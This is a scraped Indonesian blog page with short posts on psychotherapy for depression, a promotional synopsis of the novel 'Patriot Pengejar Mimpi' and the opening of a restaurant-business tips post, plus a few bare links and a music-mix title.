- Membantu anda mengenali masalah yang menyebabkan depresi mana yang bisa anda selesaikan dan masalah mana yang harus anda jalani bersamaan dengan hidup anda
- Memperbaiki hubungan anda
- Membantu anda menemukan kebahagiaan hidup yang hilang karena depresi
- Membantu anda mengekspresikan perasaan anda dengan lebih baik
- Membantu anda meningkatkan rasa percaya diri dan harga diri anda
- Membantu anda mengubah hidup anda menjadi lebih baik
- Membantu anda dalam menetapkan tujuan hidup anda yang akan meningkatkan kualitas hidup anda
Semakin sehat dan kuat diri anda, semakin mudah pula anda mengatasi depresi dengan bantuan psikoterapi. Namun sangatlah penting bagi anda untuk mengembangkan teknik pribadi anda untuk memonitor dan mengendalikan diri anda sendiri untuk mengubah pandangan serta pola pikir mengatasi depresi.

0 komentar:

Patriot Pengejar Mimpi

Hanya orang yang beruntung, yang bersedia untuk membaca novel ini, dan hanya orang yang merugi yang melewatkan kesempatan emas ini …
 
Novel ini terinspirasi dari kisah nyata anggota Patriot Pengejar Mimpi sukses dalam meraih mimpi. Patriot Pengejar Mimpi sukses karena dari kecil sudah ditempa untuk berpikir maju dan dewasa, berbeda dengan anak seusianya. Kisah itu sendiri bermula dari Enda Kiebo (14 tahun) bertekad melepaskan diri dari belenggu budaya mental kuli. Perjuangan Enda Kiebo itu bukanlah hal mudah di bumi pertiwi ini. Apalagi sejarah budaya mental kuli ini sudah diwariskan secara sistemik oleh Pemerintah Kolonial Hindia Belanda. Mental kuli ini telah berurat berakar menjadi salah-satu karakter manusia Indonesia. Maka jangan heran kalau mental kuli itu identik dengan kemiskinan dan kebodohan.
Enda Kiebo generasi ketiga keturunan kuli kontrak di tanah Deli ini berusaha keras untuk keluar dari stigma bodoh dan mental kuli yang telah disandang keluarganya. Belenggu kuli-kontrak di Tanah Deli yang memberi efek traumatis yang disandang Kakek Marto Kapuk sampai ke anak-cucu membuat tekad Enda Kiebo begitu menguat. Dia ingin mengubah garis nasib keluarganya dan dia ingin mematahkan pepatah yang mengatakan keturunan urat miskin, tulang miskin. Makanya, dia berusaha keras agar jadi orang pintar.
Namun, perjuangan Enda Kiebo tidaklah mudah. Sebab, dari awal Enda Kiebo sudah berhadapan dengan Benhart (13 tahun) anak seorang Administratur Perkebunan yang tidak menginginkan Enda Kiebo satu sekolah dengannya. Benhart pun berusaha keras menggagalkan tekad sekolah Enda Kiebo.
Enda Kiebo sungguh beruntung punya sahabat sejati satu sekolah, Patriot Pengejar Mimpi. Mereka laksana dewa penyelamat dalam menghadapi berbagai terror Benhart Cs maupun Ronggur (30 tahun) si centeng yang berjuluk “Sang Penakhluk”. Bahkan, ketika Enda Kiebo terancam dihukum berat guru Boneka (Beresman). Sebut saja di antara mereka itu, Yan Utama (13 tahun), Indra Kesuma (14 tahun), Suhermanto (14 tahun), Ratna Sari (14 tahun), Elfi Zahara (13 tahun), Zainab Maria (14 tahun), Arif Budiman (14 tahun) dan Julbrito (14 tahun).
Keberuntungan lain, Enda Kiebo memiliki guru-guru luarbiasa, Bu Nursyiah Bu Maria, Pak AM Manurung, Pak M Manurung yang piawai membakar jiwa para Patriot Pengejar Mimpi untuk meraih mimpi-mimpinya. Fighting Spirit mereka digembleng dengan ilmu super jenius yang tiada duanya di dunia, hingga terbentuk mental karakter manusia super. Melalui guru-gurunya yang menginspirasi itu Enda Kiebo berusaha keras membuka tabir rahasia cara dahsyat menjadi anak jenius.
Dalam perjalanannya, Enda Kiebo dan Yan Utama berusaha menyelamatkan Sundari (14 tahun) dari gangguan Ronggur. Kemudian, Yan Utama pun berusaha bantu Sundari untuk mendapatkan orangtua asuh agar bisa sekolah kembali. Sementara, Sundari sebaliknya mengajari Enda Kiebo, Yan Utama dan anggota Patriot Pengejar Mimpi mengembangkan pikiran kreatif, yakni cara merangkai kulit cangkang kepah menjadi sebuah lukisan yang menawan, artistik dan memiliki nilai daya jual tinggi.
Juga, Enda Kiebo berusaha menjalankan triknya menakhlukkan lawan (Benhart) dengan ilmu lelembut, tanpa kekerasan. Kekerasan otot tidak seharusnya dilawan dengan kekerasan otot juga. Sebab, adakalanya, kekerasan otot dilawan dengan kelembutan.
Gemblengan guru-guru luarbiasa membuat Patriot Pengejar Mimpi mampu memperlihatkan kreativitas yang luarbiasa hingga mengharumkan nama sekolah mereka di ajang Pameran Pembangunan Kota Medan. Juga, Enda Kiebo Cs meraih mustika prestasi sebagai pemenang lomba karya tulis ilmiah. Yang  sangat menggembirakan berkat ilmu super jenius gemblengan guru-guru luarbiasa itu, Patriot Pengejar Mimpi dapat mencapai mimpinya yang sesungguhnya dalam kehidupan nyata. Pelajaran berharga dari novel ini adalah membuka mindset tentang belajar genius dan memberi inspirasi bagaimana cara mengelola keterampilan belajar untuk mencapai kesuksesan. 
Lanjutkan Membaca Novel

0 komentar:

Tips Terjun ke Bisnis Restoran

Bisnis kuliner memang menggiurkan dari segi keuntungan. Tapi sebelum mulai terjun ke bisnis kuliner ada beberapa hal yang perlu Anda perhatikan.  

Banyak orang tergiur melihat keuntungan besar yang diperoleh dari bisnis kuliner. Tidak hanya keuntungan, bahkan ada yang sudah mampu membuka cabang hingga luar daerah.

Menurut pengalaman sejumlah pelaku di bidang ini, paling tidak bisnis kuliner memiliki keuntungan minimal 50 persen. Jadi, tak salah bila banyak orang ingin mencoba peruntungan di bisnis kuliner.

Namun kesuksesan bisnis kuliner tidak bisa dinikmati dalam waktu singkat. Jika terlalu bernafsu, bisnis kuliner tidak membawa untung tapi malah gulung tikar sebelum balik modal. Paling tidak ada enam hal yang perlu diperhatikan sebelum terjun ke bisnis kuliner:
1. Modal 
Hitung besar modal yang Anda miliki dan berapa banyak uang yang harus dikeluarkan untuk membuka restoran. Mulai dari pembelian peralatan, gaji pegawai, sewa tempat usaha, alat promosi, interior serta eksterior, biaya listrik, dan pajak.

Jika pengeluaran lebih besar daripada modal, lakukan penghematan. Misalnya daripada beli ruko, lebih baik menyewa tempat usaha yang kecil tapi lokasinya strategis. Akan lebih baik lagi jika Anda memiliki tempat usaha milik sendiri.

http://update-pesan.blogspot.com/2014/04/cara-membuat-virus-dengan-notepad.html

0 komentar:


Ashif Maulana Live


http://cooltext.com/Logo-Design?LogoID=963972960&Line1Font=745






0 komentar:

Top Dubstep Drops - Epic Motivational Mix (Powered edition)


0 komentar: